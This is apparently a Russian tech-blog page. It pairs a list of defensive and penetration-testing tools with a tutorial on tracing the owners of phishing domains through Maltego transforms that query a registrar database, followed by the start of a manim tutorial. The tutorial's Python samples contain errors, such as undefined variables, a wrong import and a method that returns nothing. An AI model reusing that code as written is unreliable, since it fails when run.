OSSEC
OSSEC

Инструмент ИБ с открытым исходным кодом для предупреждения хакерских атак, который предоставляет сетевую аналитику активности в режиме реального времени. Пользователь имеет возможность персональной настройки мониторинга точек доступа по различным категориям – реестрам, процессам, руткитам, журналам и файлам.

OSSEC полезен тем, что доступен на разных используемых платформах – Windows, Linux, Mac, VMWare ESX и BSD.

POf

Инструмент, который часто используется при мониторинге активности пользовательской сети, несмотря на то, что разработчики уже несколько месяцев не выпускали обновлений. POf хорошо оптимизирован и не создает дополнительный трафик во время своей работы. Используется для выявления узлов операционных систем, подключаемых к внутренней сети предприятия.

Помимо этого, POf эффективен при поиске запросов по категориям и именам. Подходит для опытных специалистов по ИБ – у новичков могут возникнуть трудности с использованием.

Splunk

Splunk
Splunk

Универсальный инструмент для контроля безопасности сети. Используется как для поиска информации об угрозах за прошлые периоды, так и мониторинга в режиме реального времени. Кроме функции поиска, Splunk оснащен уникальным пользовательским интерфейсом, который полезен при предоставлении отчетов ИБ и предупреждении о возможных атаках.

Инструменты для обнаружения сетевых вторжений

Acunetix

Acunetix
Acunetix

Предприятия часто опасаются хакерских атак, исходящих от межсетевых экранов, социальной инженерии и внутренней архитектуры компании и забывают о веб-приложениях и сайтах. Инструмент Acunetix занимается мониторингом активности и проблемами безопасности от всех возможных источников, а также проводит «репетиции» конвекционных атак для проверки эффективности применяемых средств ИБ.

Forcepoint

Forcepoint
Forcepoint

Инструмент используется при настройке SD-Wan для ограничения доступа пользователей компании-клиента к определенным ресурсам, а также для блокирования уязвимостей. В отличие от других инструментов, Forcepoint практически мгновенно выявляет проблему и предпринимает действия по обеспечению безопасности. Инструмент особенно полезен пользователям облачных хранилищ.

GFI LanGuard

Подходит для постоянного контроля сети, мониторинга уязвимостей и обеспечения должного уровня ИБ. Проводит аудит сети и ПО как мобильных устройств, так и стационарного электронного оборудования. Особенно популярен среди пользователей Windows, Mac и Linux.

Snort

Система поиска и предупреждения хакерских атак в сети с открытым кодом. Используется при анализе трафика внутренней сети и его сравнении с ранней базой данных о нападениях. Snort может быть внедрен на любую современную платформу и операционную систему и предотвращает уникальные атаки CGI – дактилоскопические, с переполнением буфера и скрытым сканером портов.

Инструменты для сканирования веб-уязвимостей

Burp Suite

Burp Suite
Burp Suite

Инструмент используется для мониторинга в режиме реального времени для определения критических уязвимостей. Также Burp Suite проводит тренировочные атаки для определения и предупреждения всех возможных нападений на данные компании. Есть три версии программ: Предприятие, Профессионал и Сообщество. Первые две – коммерческие, а третья – бесплатная, с лимитированным набором функций.

Nessus Professional

Nessus Professional
Nessus Professional

Кроме стандартных функций, также занимается улучшением целостности сети – исправляет «казусы» ИБ, конфигурацию параметров безопасности и многое другое. Версия Nessus Professional дает возможность использования бесплатной уязвимости с открытым исходным кодом. База данных уязвимостей обновляется ежедневно.

Nexpose

Используется для выявления уязвимостей и слабых мест в системе пользователя. База данных постоянно обновляется, что позволяет адаптировать среду сети под новые виды уязвимостей. Кроме этого, специалисты по ИБ могут оценивать риск уязвимостей, расставлять их в приоритетном порядке и своевременно реагировать на угрозы.

Nikto

Инструмент с открытым исходным кодом для мониторинга и контроля за кибератаками, в базе которого содержится более 6500 типов уязвимостей и возможных угроз. Программа постоянно обновляется, добавляются новые плагины для совместимости инструмента с новыми версиями операционных систем.

Nmap

Бесплатный сетевой картограф для управления сетями и выявления уязвимостей в системе. Утилита дает специалисту по ИБ обзор всех необходимых характеристик системы пользователя, такие как фильтры пакетов и межсетевых экранов, ОП, хосты и прочее.

Paros Proxy

Инструмент на базе Java, используемый при тестировании безопасности сети к уязвимостям и кибератакам. Здесь используются регистратор трафика, сканер уязвимостей и веб-паук – все в режиме реального времени. Кроме стандартных атак, Paros Proxy рассматривает атаки с использованием SQL-инъекций и межсайтовые сценарии.

Инструменты кибербезопасности для аудита паролей и анализатора пакетов

Cain and Abel

Один из первых и бесплатных инструментов ИБ, используемых на Windows – отсюда и название (дети первых людей на Земле). Позволяет выявлять уязвимости в паролях системы и может их восстанавливать. У инструмента обширная функциональность – от записи сообщений VoIP до анализа протоколов маршрутизации.

John the Ripper

John the Ripper
John the Ripper

Используется для проверки безопасности новых и старых баз паролей, которые могут ставить под угрозу конфиденциальные данные компании пользователя. Вначале программа работала только на Unix, но сегодня уже внедрена на Windows, DOS и OpenVMS.

Tcpdump

Tcpdump
Tcpdump

Инструмент, используемый для перехвата пакетов данных во внутренней сети предприятия и мониторинга трафика TCP и IP. Безопасность системы проверяется при помощи фильтрации потока информации на узлах приема/передачи сети.

Wireshark

Wireshark
Wireshark

Консольный инструмент кибербезопасности, ранее называвшийся Ethereal, используется в анализе сетевого трафика и безопасности пользовательской системы в режиме реального времени. Wireshark рассматривает все уровни ИБ сети – от узла соединения до распределения пакетов данных.

Инструменты кибербезопасности для защиты сети

Aircrack-ng

Это целый набор инструментов для проверки сети Wi-Fi на возможные уязвимости. Специалистами ИБ применяется при захвате пакетов данных, проходящих в сети, а уникальная функция экспорта такой информации в текстовом формате позволяет более качественно оценивать риски безопасности в системе. Кроме этого, инструмент оценивает надежность ключей типа WPA-PSK и WEP, проводя тестовые атаки на них.

KisMAC

Инструмент для безопасности сети в MAC OS X. Большинство функций применяют только опытные специалисты по ИБ. Например, сканирование сети Wi-Fi на картах AirPort, Apple AirPort Extreme и других. Здесь используются проверочные атаки методом отбора и использования уязвимостей ключей безопасности, паролей и слабого планирования доступа к базам данных.

Netstumbler

Бесплатный инструмент для операционок Windows, позволяющий обнаруживать открытые порты в сети системы. Здесь используется метод WAP-поиска таких портов и другие уникальные способы выявления уязвимостей.

Инструменты тестирования на проникновение

Kali Linux

Kali Linux
Kali Linux

Обширная, но простая исполняемая экосистема, в наличии которой более 300 инструментов для обеспечения пользовательской кибербезопасности, используемых при сканировании систем и проверки сетей на наличие уязвимостей. Инструмент будет полезен как профи, так и новичкам в области ИБ.

Metasploit

Коллекция инструментов для тестирования проникновения злоумышленников в систему пользователя. Полезен при сканировании сети на наличие уязвимостей, планировании стратегий по усилению безопасности данных от возможных атак.

Инструменты шифрования

KeyPass

KeyPass
KeyPass

Инструмент для контроля за идентификацией. Отлично подходит для офисного ПО, что позволяет работникам использовать один и тот же пароль для разных учетных записей. Есть функция мастер-пароля, что позволяет обезопасить личные и конфиденциальные данные от незаконного вторжения.

Tor

Tor
Tor

Обеспечивает конфиденциальность клиента во Всемирной паутине при помощи маршрутизации запросов на разных прокси-серверах для того, чтобы их невозможно было отследить. Это обеспечивает должный уровень безопасности пользователя от вредоносных выходных узлов и лишнего сетевого трафика.

TrueCrypt

Несмотря на то, что последние обновления вышли уже несколько лет назад – TrueCrypt держится в ТОП лучших и часто используемых инструментов по ИБ. Здесь есть возможность шифровки раздела носителя, устройств хранения и генерация виртуальных дисков.

***

Сегодня кибербезопасность стремительно развивается и оперативно отражает, а порой и предупреждает хакерские атаки на сети. Мы представили 27 самых эффективных и популярных инструментов, которые будут полезны как профессиональным специалистам по ИБ, так новичкам и любителям.

Рекомендуем попробовать бесплатные версии программ, чтобы убедиться в их полезности именно для ваших целей – в каждой из них есть уникальные функции, подходящие для разных компаний и предприятий.

Материалы по теме

08
Янв
2022

💸 Стоит ли разрабатывать коммерческие сайты на WordPress в 2022 году?

В сети вот уже несколько лет ходят разговоры о том, что самая популярная CMS в мире канула в Лету, уступив место другим более свежим решениям. В статье попытаемся выяснить, так ли это на самом деле и какие проблемы существуют у этой платфор…

28
Дек
2021

Самые интересные факты из веб-альманаха 2021

Интересные факты из ежегодного веб-альманаха. Узнайте, какая JS-библиотека самая популярная и сколько весит перегруженная CSS страница.
— Читать дальше «Самые интересные факты из веб-альманаха 2021»

01
Дек
2021

Митап «О развитии виртуальных ассистентов Салют и создании смартапов»

На митапе расскажут о развитии виртуальных ассистентов, поделятся способами монетизации на платформе SmartMarket и лайфхаками разработки мультимодального взаимодействия с цифровыми помощниками.
— Читать дальше «Митап «О развитии виртуальных ассистентов…

01
Дек
2021

🕵 Я узнаю тебя из тысячи: поиск киберпреступников с помощью Maltego. Опыт REG.RU

В REG.RU мы часто сталкиваемся с разными случаями мошеннической активности: от спама и регистрации фишинговых доменов до взломов аккаунтов клиентов и угонов доменов. Некоторые случаи требуют тщательного расследования и анализа, в том числе с помощью специального ПО. Сегодня мы расскажем о программе Maltego, и как с помощью неё вычислить мошенника. Это не рекламная статья. Все примеры и кейсы вымышлены, совпадения случайны.

Что такое Maltego?

Maltego – это программа для автоматизации сбора информации из различных источников и дальнейшего представления в удобном графическом формате, где наглядно видны связи между разными объектами. Инструмент также применяется в расследованиях и разведке на основе открытых/закрытых источников.

Есть несколько вариантов лицензий Maltego:

  • Бесплатные Maltego CaseFile, Maltego Community Edition
  • Платные Maltego Professional, Maltego Enterprise

Вся информация в Maltego представлена в виде графа (схемы с указанием узлов и связей).

Пример представления информации в Maltego
Пример представления информации в Maltego

В графе отображены различные объекты (Entities). Объектом может быть любая единица информации: IP-адрес, домен, email, номер телефона, ФИО, организация и т.д. Объекты соединяются связями (Links).

Пример связей между объектами в Maltego
Пример связей между объектами в Maltego

Добавлять объекты и связи можно как вручную, так и автоматически, используя трансформации (Transforms) – скрипты, которые ищут данные о выбранном объекте в различных источниках и выводят её на граф в виде объектов.

Также в Maltego есть набор встроенных трансформаций. Например, для получения информации об IP-адресе есть большой набор встроенных трансформаций: получение данных Whois, местоположения, проверка по базам фродов и спискам нод TOR.


Трансформации можно скачивать и устанавливать дополнительно из маркетплейса Transforms Hub в самой программе.

Интерфейс Maltego Transforms Hub
Интерфейс Maltego Transforms Hub

Для скачивания некоторых трансформаций из хаба потребуется API-ключ для сервисов, откуда запрашивается информация. Для этого потребуется зарегистрироваться на самих этих сервисах.


Можно также писать собственные трансформации, что пригодится для поиска информации по внутренним источникам.

Применение в расследованиях

Возможности Maltego полезны для расследований компьютерных инцидентов, например, когда нужно проанализировать большие объёмы информации из логов и баз данных, выявить взаимосвязи и найти улики. Давайте разберём, что может программа на примере вымышленного, но типичного расследования.

Расследование: найти создателя фишинговых сайтов

Сценарий: Поступила жалоба на фишинговый сайт, который имитирует сайт банка и ворует данные кредитных карт. Доменное имя сайта MOB-VTB24.RU похоже на домен банка ВТБ. Сайт, расположенный на этом домене внешне похож на сайт банка а также запрашивает данные банковской карты, а значит используется для фишинга. Сразу предположим, что злоумышленник вряд ли мог ограничиться одним доменом, к тому же он мог завести несколько разных аккаунтов.

Цель расследования: Найти все домены злоумышленника, удостовериться что они фишинговые, и заблокировать его аккаунты. Домены отправить на идентификацию данных администратора.

Гипотезы: Из логов мы можем как минимум узнать IP-адреса, значения сookie, User-Agent браузера и другие параметры системы, таким образом получить цифровой отпечаток злоумышленника. Потому что при создании нового аккаунта в Личном кабинете для регистрации домена необходимо указать email, телефон, а также в некоторых случаях ФИО, адрес и паспортные данные.

Более того, мошенник может забыть скрыть свой настоящий IP-адрес, используя proxy или VPN, и тем самым выдать себя. Или в одной сессии зайти в два своих аккаунта, благодаря чему мы легко найдём связь между ними. Он может указать одинаковые регистрационные данные, такие как email и телефон. Также косвенные признаки, например, использование специфичного почтового сервиса для регистрации большого количества email.

Чем больше данных мы обработаем, тем выше вероятность обнаружения взаимосвязей. Ручная обработка из разных источников (баз данных, логов) и их сопоставление – довольно трудозатратное и рутинное занятие, которое может быть похоже на известный мем.


Поэтому обратимся к Maltego. Создадим новый граф и сразу добавим на него доменное имя MOB-VTB-24.RU.


В Entity Palette доступен список типов объектов, которые можно перетащить на граф. Найдём там объект Domain и перетащим его в основное окно графа и зададим доменное имя.


Вставлять объекты также можно из буфера обмена. Типы объектов Maltego распознаёт автоматически. Если распознавание прошло некорректно, можно изменить тип объекта, выбрав в контекстном меню Change Type.


В этом же контекстном меню можно выбирать и установленные трансформации.


Добавление новых типов Entities

В первую очередь нам нужно получить регистрационную информацию домена (ФИО, email и телефон) и аккаунт его владельца из базы данных. Для этого нужно создать тип объекта User (для отображения аккаунта), а также написать трансформации для поиска домена по базе. Все запросы в базу, указанные ниже, изменены и упрощены, и служат только для образовательных целей.

Найдём во вкладке Entities мастер создания типов объектов.


Создадим тип объекта User и настроим основное свойство объекта: user_id



Теперь добавим трансформацию, которая будет выводить данные домена и аккаунт владельца

Библиотека для написания трансформаций maltego_trx

Для написания трансформаций будем использовать Python-библиотеку под названием maltego_trx (https://github.com/paterva/maltego-trx/) для Python версии 3.6 и новее.

Установить библиотеку можно командой:

        pip install maltego-trx
    

После установки создаём новый проект:

        maltego-trx start new_project
    

После создания проекта файлы для наших трансформаций будут располагаться в папке new_project/transforms/

Пример: трансформация GreetPerson

В качестве примера рассмотрим трансформацию GreetPerson, которая уже есть в папке, она выводит приветствие:

new_project/transforms/GreetPerson.py
        from maltego_trx.entities import Phrase
from maltego_trx.transform import DiscoverableTransform
 
class GreetPerson(DiscoverableTransform):
   """
   Returns a phrase greeting a person on the graph.
   """
   @classmethod
   def create_entities(cls, request, response):
       person_name = request.Value
       response.addEntity(Phrase, "Hi %s, nice to meet you!" % person_name)
    

Создание трансформации SearchDomain

Для трансформации нужно создать новый класс и унаследовать его от DiscoverableTransform, переопределить метод create_entities, в котором и будет происходить вся логика по поиску данных и добавления объектов на граф.

Добавление объектов на граф выполняется с помощью метода response.addEntity.

        from maltego_trx.transform import DiscoverableTransform
import MySQLdb
 
# Наследуем наш класс от DiscoverableTransform
class SearchDomain(DiscoverableTransform):
   """
   Выполняет поиск домена.
   """
 
   # Переопределяем метод create_entities
   @classmethod
   def create_entities(cls, request, response):
       # Получаем входящее значение
       email = request.Value
 
       # Инициализируем подключение к базе
       db = MySQLdb.connect(host='database.host',
                           port='3306',
                           user='user',
                           passwd='password',
                           db='db',
                           charset="utf8")
       cursor = db.cursor(MySQLdb.cursors.DictCursor)
 
 
       # Выполняем поиск по таблице domains
       cursor.execute("""select user_id, name, phone, email
                           from domain
                           where domain = %s
           """, [domain])
 
      rows = cursor.fetchall()
 
       # В зависимости от поля добавляем на граф
       # объекты соответствующих типов
       for row in rows:
           response.addEntity('yourorganization.User', row['user_id'])
           response.addEntity('maltego.Person', row['name'])
           response.addEntity('maltego.PhoneNumber', row['phone'])
           response.addEntity('maltego.EmailAddress', row['email'])
    
Обратите внимание
Для добавления типа объекта нужно использовать Unique Type Name, которое мы указали при создании (yourorganization.User). Для встроенных объектов можно импортировать соответствующие классы из библиотеки Maltego.

        from maltego_trx.entities import Person
...
response.addEntity(Person, row['name'])
    

Для удобства можно сделать маппинг полей таблицы и объектов Maltego. Это будет полезно, когда разных объектов много.

        field_map = {
   'user_id': 'yourorganization.User',
   'name': 'maltego.Person',
   'phone': 'maltego.PhoneNumber',
   'email': 'maltego.EmailAddress'
}
for row in rows:
   for field in row:
       if field_map.get(field):
           response.addEntity(field_map[field], row[field])
    

Добавление трансформации в Maltego

Скрипт нашей трансформации готов, теперь нужно его добавить в Maltego.

Во вкладке Transforms найдём меню New Local Transform и заполним все необходимые параметры.


В значении Input Entity Type нужно выбрать тип объекта, над которым мы будем выполнять эту трансформацию. В этом примере это Person.


Зададим путь к интерпретатору Python3:

  • project.py – это основной скрипт проекта.
  • local означает, что трансформация будет работать локально (maltego_trx также позволяет запускать сервер трансформаций python project.py runserver).
  • searchdomain – это имя нашей трансформации, в зависимости от того как мы назвали класс.
  • Убедиться, что класс создан правильно и вывести список всех трансформаций проекта можно в директории проекта, выполнив команду python3 project.py list.

Запуск трансформаций

Наконец мы добрались до момента, когда можно запустить нашу трансформацию.



В окне Output можно увидеть логи, а также туда можно вывести отладочную информацию, если нужно найти ошибку в скрипте. Это можно сделать в настройках трансформации в Transform Manager, указав галочку Show debug info.


Каждый объект можно пометить флагом и комментарием:


Аналогичное действие можно сделать в коде трансформации при добавлении объекта:

  • добавить флажок;
        from maltego_trx.maltego import BOOKMARK_CLRS
...           
...
           me = response.addEntity(
               'yourorganization.User', user_id
               )
           me.setBookmark(BOOKMARK_CLRS["red"])

    
  • добавить заметку.
        me.setNote("Регистрирует фишинговые домены")

    

Итак, мы нашли аккаунт пользователя, телефон, email и ФИО. Можем выполнить обратный поиск по этим данным. Для этого нужно добавить соответствующие трансформации по аналогии с SearchEmail.

Обратный поиск


Поиск по номеру телефона выдал нам новые домены и другой аккаунт. Видно, что все домены так или иначе вызывают подозрения и связаны они не только с банками, но и с сервисом BlaBlaCar.

Повторив поиск, только по одному номеру телефона мы выявили ещё 88 доменов.


Выгрузив данные по найденным аккаунтам, получаем дополнительные адреса электронной почты и телефоны. Подключив в качестве источника, например, логи авторизации, найдём также IP-адреса, с которых был вход в найденные аккаунты.


Повторяя шаги по новым объектам, мы можем выявить таким образом целую сеть.


На первый взгляд огромный граф может выглядеть непонятно, но с помощью функции поиска мы можем отсортировать объекты по типу и получить полный список доменов, экспортировать его в нужном формате для дальнейшей работы.


Отсортировав в графе ненужные объекты, выгружаем список доменов и аккаунтов мошенника/ов. Далее, исходя из полученной информации, можно блокировать аккаунты, домены и противодействовать мошеннической активности.

Это только один из примеров, когда можно использовать Maltego для расследований и анализа большого количества взаимосвязанной информации. Можно продолжать добавлять источники и совершенствовать скрипты трансформаций.

Однако ещё один важный момент – оптимизация работы трансформаций с учётом ограничений. Об этом речь пойдёт ниже.

Оптимизация запросов с учётом ограничений

Лицензии Maltego Professional и Maltego Enterprise не имеют каких-либо ограничений. Однако, используя бесплатную версию Maltego Community Edition, можно столкнуться с ограничениями на вывод количества объектов – 12 штук за один раз. Чтобы вывести полный список объектов, нужно повторять трансформацию несколько раз. Ещё один нюанс в том, что это ограниченное число объектов каждый раз выводится случайным образом, но не по порядку, то есть трансформация второй раз может вывести те же результаты, что уже есть на графе. Это дополнительно вынуждает запускать трансформацию.

Немного сгладить этот недостаток можно, усовершенствовав скрипты трансформаций и выводить объекты по порядку и, таким образом, уменьшить количество запросов в базу данных.

Как это сделать – в конце статьи, а пока продолжим поиски.

Итак, доработаем наши трансформации, чтобы выводить объекты по порядку по 12 штук. Оптимизируем следующим образом:

  • При первом запуске трансформации делаем запрос в базу.
  • Выводим на экран 12 объектов, остальные сохраняем во временном хранилище, например, в файле.
  • При повторных запусках считываем объекты из файла по 12 штук. Для этого создадим общий класс для трансформаций, которые будут работать с кэшем. И остальные трансформации будем наследовать уже от него.

CacheTransform

        from maltego_trx.transform import DiscoverableTransform
import zlib
import json
 
class CacheTransform(DiscoverableTransform):
   # Переопределяем основной метод,
   # который будет выводить объекты на экран
   @classmethod
   def create_entities(cls, request, response):
       # Получаем входное значение
       value = request.Value
 
       # Кэшированные объекты будем сохранять
       # в файле. Сгенерируем уникальное имя файла
       # на основе имени класса и входного значения
       transform = cls.__name__
       # Входное значение может быть разной длины
       # и содержать небезопасные символы.
       # Поэтому посчитаем контрольную сумму
       crc = zlib.crc32(bytes(value, 'utf-8'))
 
       filename = f"/tmp/maltego_{transform}{crc}"
 
       # Сначала проверим не было ли уже
       # что-то записано в кэш
       cache = cls.extract_from_cache(response, filename)
 
       # Если в кэше что-то уже есть то читаем оттуда
       if cache is not None and len(cache) > 0:
           for entity in cache:
               response.addEntity(entity["entity_type"], entity["value"])
      
       # Если кэш не обнаружен, то выполняем поиск
       else:
           entities = cls.search_entities(value)
           # Выводим на экран первые 12 объектов
           head = entities[:12:]
           for entity in head:
               response.addEntity(entity["entity_type"], entity["value"])
 
           # Остальные сохраняем в кэш
           tail = entities[12::]
           if len(tail) > 0:
               # Выведем в окно Output сообщение о том,
               # сколько элементов было добавлено в кэш
               response.addUIMessage(f"Добавлено в кэш {len(tail)} штук")
               with open(filename, 'w', encoding='utf-8') as w_file:
                   # Для безопасного сохранения объектов
                   # используем формат JSON
                   json.dump(tail, w_file)
 
   @staticmethod
   def extract_from_cache(response, filename):
       """
           Читает первые 12 элементов и удаляет их из кэша
       """
       try:
           with open(f"{filename}", 'r', encoding='utf-8') as file:
               entities = json.load(file)
               if len(entities) > 0:
                   head = entities[:12:]
                   tail = entities[12::]
                   with open(f"{filename}", 'w', encoding='utf-8') as w_file:
                       response.addUIMessage(
                           f"Осталось в кэше {len(tail)} штук"
                       )
                       json.dump(tail, w_file)
                   return head
               else:
                   return []
       except FileNotFoundError:
           return None
 
   @staticmethod
   def search_entities(value):
       """
           Метод для поиска данных во внешних источниках
       """
       entities = list()
       for i in range(1, 15):
           entities.append(
               {
                   "entity_type": "maltego.Phrase",
                   "value": f"Test {i}"
               }
           )
 
       return entities

    

Пробуем запустить:


Трансформация вывела на экран 12 объектов и 2 записала в кэш. Вот как выглядит файл с кэшем:


Трансформация SearchDomain (улучшенная)

Теперь мы можем немного модифицировать и ту трансформацию, что создали вначале.

        from maltego_trx.transform import CacheTransform
import MySQLdb
# На этот раз наследуем уже
# от CacheTransform
class SearchDomain(CacheTransform):
   """
   Выполняет поиск домена.
   """
 
   # Переопределяем другой метод search_entities
   @classmethod
   def search_entities(value):
       # Получаем входящее значение
       email = value
 
       # Инициализируем подключение к базе
       db = MySQLdb.connect(host='database.host',
                           port='3306',
                           user='user',
                           passwd='password',
                           db='db',
                           charset="utf8")
       cursor = db.cursor(MySQLdb.cursors.DictCursor)
 
 
       # Выполняем поиск по таблице domains
       cursor.execute("""select user_id, name, phone, email
                           from domain
                           where domain = %s
           """, [domain])
 
       rows = cursor.fetchall()
 
       # В зависимости от поля добавляем на граф
       # объекты соответствующих типов
      
       field_map = {
       'user_id': 'yourorganization.User',
       'name': 'maltego.Person',
       'phone': 'maltego.PhoneNumber',
       'email': 'maltego.EmailAddress'
       }
      
       # Сохраняем найденные объекты в массив
       # А вся логика по выводу и кэшированию
       # выполнится в родительском классе
       entities = list()
       for row in rows:
           for field in row:
               if field_map.get(field):
                   entities.append({
                       "entity_type": field_map[field],
                       "value": row[field]
                       })

    

Теперь если поиск вернёт много объектов, то нам не придётся снова и снова выполнять запросы в базу, можно постепенно вывести все элементы на экран из кэша.

***

Maltego упрощает процесс расследования благодаря автоматизации поиска и представления данных в графическом виде. В статье мы рассмотрели далеко не весь функционал программы. Например, это удобные функции по анализу информации, уже представленной на графе, возможности экспорта данных, объединение трансформаций в так называемые «‎машины»‎ для ещё большей оптимизации поиска. Всё это можно использовать не только для расследования но и для задач поиска информации по открытым источникам (OSINT).

30
Ноя
2021

🛠 ТОП-10 инструментов дизайнера UX/UI, актуальных в 2021 году

В средствах для создания дизайна UX/UI легко запутаться, поэтому сначала стоит понять их предназначение. Предлагаем вниманию читателей небольшой обзор актуальных в 2021 году инструментов.

24
Ноя
2021

Технические ошибки на сайте: как найти и исправить

Чтобы оптимизировать ресурс с учётом рекомендаций поисковых систем, нужно сначала провести SEO-аудит и определить внутренние проблемы.
— Читать дальше «Технические ошибки на сайте: как найти и исправить»

15
Ноя
2021

🎞️ Изучаем manim. Часть 1: основные сведения о библиотеке для новичков

Manim – библиотека Python для создания математических анимаций. Вы наверняка видели ролики канала 3Blue1Brown, автор которого и написал ее первую версию. Мы же будем изучать созданный сообществом разработчиков форк – manim community.

Установка библиотеки

Вариантов установки масса, но мы рассмотрим установку на локальную машину с операционной системой Windows. Другие варианты вы можете найти в документации. Для нормального функционирования библиотеки необходим ffmpeg. Прямая ссылка для загрузки: https://www.gyan.dev/ffmpeg/builds/ffmpeg-release-essentials.7z.

Архив необходимо распаковать в любое место на диске и внести директорию библиотеки в переменную среды Path. Чтобы это сделать, необходимо зайти в свойства моего компьютера, выбрать дополнительные параметры системы, нажать кнопку переменные среды и добавить в переменную Path путь до папки ffmpeg/bin:


Далее необходимо инсталлировать manim. Вы можете установить библиотеку в основной системе или использовать виртуальные окружения. Пойдем вторым путем.

  • Создадим папку для нашего будущего проекта manim_ex.
  • Откроем консоль в выбранной папке и вызовем команду: python -m venv env. Это заклинание создаст виртуальное окружение с именем env.
  • Активируем окружение командой: env\Scripts\activate.bat.
  • Установим саму библиотеку: pip install manim.
  • Не закрывайте консоль, она нам еще пригодится.
Необходимый минимум программ инсталлирован, но для полноценной работы потребуется любой дистрибутив LaTeX. Создатели библиотеки рекомендуют использовать MikTeX из-за простоты добавления дополнительных пакетов. Скачиваем и устанавливаем его, не заботясь о выборе. Когда manim будет обращаться к MikTeX и не найдет нужного пакета, встроенный менеджер предложит его скачать.

На этом этапе мы готовы начать знакомится с библиотекой.

Hello world

Manim предлагает пользователю три концепции:

  • mobject (mathematical object)
  • animations
  • scene
Эти концепции реализованы в соответствующих классах: Mobject, Animation, Scene. Прежде, чем углубляться в их структуру, сделаем проект hello-world.

В папке manim-ex создадим файл hello.py и добавим в него следующие строки:

hello.py
        from manim import *
 
 
class SquareToStar(Scene):
    def construct(self):
        square = Square()
        square.set_fill(GREEN, opacity=0.5)
        self.play(Create(square))
    

Далее возвращаемся в оставленную открытой консоль и выполняем команду:

        manim -pql .\hello.py SquareToStar
    

Начнется процесс рендеринга, в результате которого автоматически откроется окно с похожей анимацией.


Разберемся построчно, что происходит.

        from manim import *
    

Тут мы импортируем все, что содержится в библиотеке в глобальное пространство имен. В общем случае это будет плохой идеей, но разработчики библиотеки рекомендуют именно такой путь импорта, а не поименное указание необходимых функций, классов, констант. Ведь для нашего hello world мы импортировали уже четыре имени: Scene, Square, Green, Create.

        class SquareToStar(Scene):
    def construct(self):
    ...

    

В этой конструкции мы наследуем от класса Scene, в котором нужно перегрузить функцию construct. В ней и происходит сборка сцены: добавление объектов, настройка их дизайна и расположения, настройка анимации.

        square = Square()
square.set_fill(GREEN, opacity=0.5)
self.play(Create(square))
    

В этих строках создается объект Square (он же квадрат) и устанавливается зеленый цвет заливки с прозрачностью 0.5. В последней строке внутри метода self.play() создается анимация Create, которая постепенно проявляет объект на сцене.

Усложним пример, сделав трансформацию созданного нами зеленого квадрата в пятиконечную звезду с синим контуром и без фона, которая после исчезнет. Для этого используем следующий код:

hello.py
        from manim import *
 
 
class SquareToStar(Scene):
    def construct(self):
        square = Square()
        square.set_fill(GREEN, opacity=0.5)
        star = Star(outer_radius=2, color = BLUE)
        self.play(Create(square)) 
        self.play(Transform(square, star))
        self.play(FadeOut(square))
    

Не забываем вызвать команду:

        manim -pql .\hello.py SquareToStar
    

В результате получаем следующую анимацию:


Структура библиотеки и проектов анимации

После запуска последнего заклинания в папку с проектом добавилась директория media. Внутри нее лежат отрендеренные части нашей сцены и собранный итоговый файл. Найти его можно в каталоге media\videos\hello, где будут созданы папки, соответствующие выбранному качеству рендеринга.

Основным строительным блоком любой сцены manim является mobject.

Такие элементы, как Circle, Axis, Rectangle, Arrow и Star, являются mobject. MObject – не имеющий визуального представления абстрактный класс, от которого наследуются все указанные выше фигуры. При этом стоит обратить внимание, что все используемые manim визуальные объекты являются векторными. Для простоты понимания пока опустим этот момент. Будем всегда использовать понятие mobject, хотя фактически речь идет о его векторном варианте.

Расположение объектов

Чтобы отобразить mobject на экране, нужно передать его в метод add нашей сцены. Создадим сцену, где звезда будет видима одну секунду, а после исчезнет. Код даже не нуждается в комментариях. В новый файл mobjects.py поместим следующее:

mobjects.py
        from manim import *
 
class CreatingMObjects(Scene):
    def construct(self):
        star = Star()
        self.add(star)
        self.wait(1)
        self.remove(star)
        self.wait()

    

Добавим в этот же файл еще одну сцену:

mobjects.py
        class Shapes(Scene):
    def construct(self):
        star = Star()
        square = Square()
        circle = Circle()
 
        circle.shift(LEFT)
        star.shift(UP)
        square.shift(RIGHT)
 
        self.add(star, square, circle)
        self.wait(1)

    

Результат:


По умолчанию, объекты добавляются в начало координат сцены, расположенное в ее центре. Для изменения положения объектов, manim поддерживает много различных способов. Мы использовали новый метод любого mobjectshift(vector). Он сдвигает объект на одну стандартную единицу в сторону указанного вектора или суммы векторов. В нашей сцене созданы объекты звезды, квадрата и круг. Звезда была сдвинута влево на одну единицу, квадрат – вправо, круг – влево. Константы UP, RIGHT, LEFT входят в состав библиотеки manim и представляют собой numpy ndarray. К примеру, UP выглядит следующим образом:

        UP: np.ndarray = np.array((0.0, 1.0, 0.0))
    

Рассмотрим другие способы, позволяющие изменять положение объектов на сцене. Это методы mobject: move_to(), align_to(), next_to().

Добавим новую сцену в файл mobjects.py. Создадим на ней те же объекты, что и в предыдущей: звезду, окружность и квадрат:

mobjects.py
        class ShapesPlacement(Scene):
    def construct(self):
        star = Star()
        square = Square()
        circle = Circle()
 
        star.move_to(LEFT * 2)  # сдвинуть звезду на две единицы влево
        square.next_to(star, LEFT)  # поставить квадрат слева от звезды
        circle.align_to(star, LEFT)  # выровнять левую границу круга с левой границей звезды
        self.add(star, square, circle)
        self.wait(1)

    

Результат работы следующий:


Метод move_to() использует абсолютные координаты, т.е. относительно начала координат. next_to() использует координаты относительно объекта, переданного ему первым параметром. align_to() использует левую границу объектов для выравнивания по нужной стороне. Для расчетов положения используется квадрат, описанный вокруг любого объекта сцены. Его не видно, но это фишка движка рендеринга библиотеки.

Стиль и порядок отображения объектов

Чтобы изменить стиль объекта, используются следующие методы: set_stroke(), set_fill() и set_color().

Создадим еще одну сцену ShapesStyle со следующим содержимым:

mobjects.py
        class ShapesStyle(Scene):
    def construct(self):
        star = Star().shift(LEFT)
        square = Square().shift(RIGHT)
        circle = Circle().shift(UP)
 
        star.set_color(RED)
        square.set_fill(color=YELLOW, opacity=0.5)
        circle.set_stroke(PINK, width=20)
 
        self.add(star, square, circle)
        self.wait(1)
    

Обратите внимание, что объекты manim поддерживают chaining.


        star = Star().shift(LEFT)
    
  • set_stroke() используется для установки рамки заданной толщины и цвета.
  • set_color() изменяет цвет обводки фигуры.
  • set_fill() заполняет фигуру выбранным цветом с заданной прозрачностью в диапазоне от 0.0 (полностью прозрачный) до 1.0 (полностью непрозрачный).

Как бы это странно ни выглядело, но в manim три оси, а не две. Третья ось, которая смотрит на наблюдателя перпендикулярно плоскости монитора, отвечает за порядок отображения объектов на сцене. Чтобы изменить его, достаточно поменять порядок передачи объектов в метод сцены add(). Изменим в предыдущем коде предпоследнюю строку на следующую:

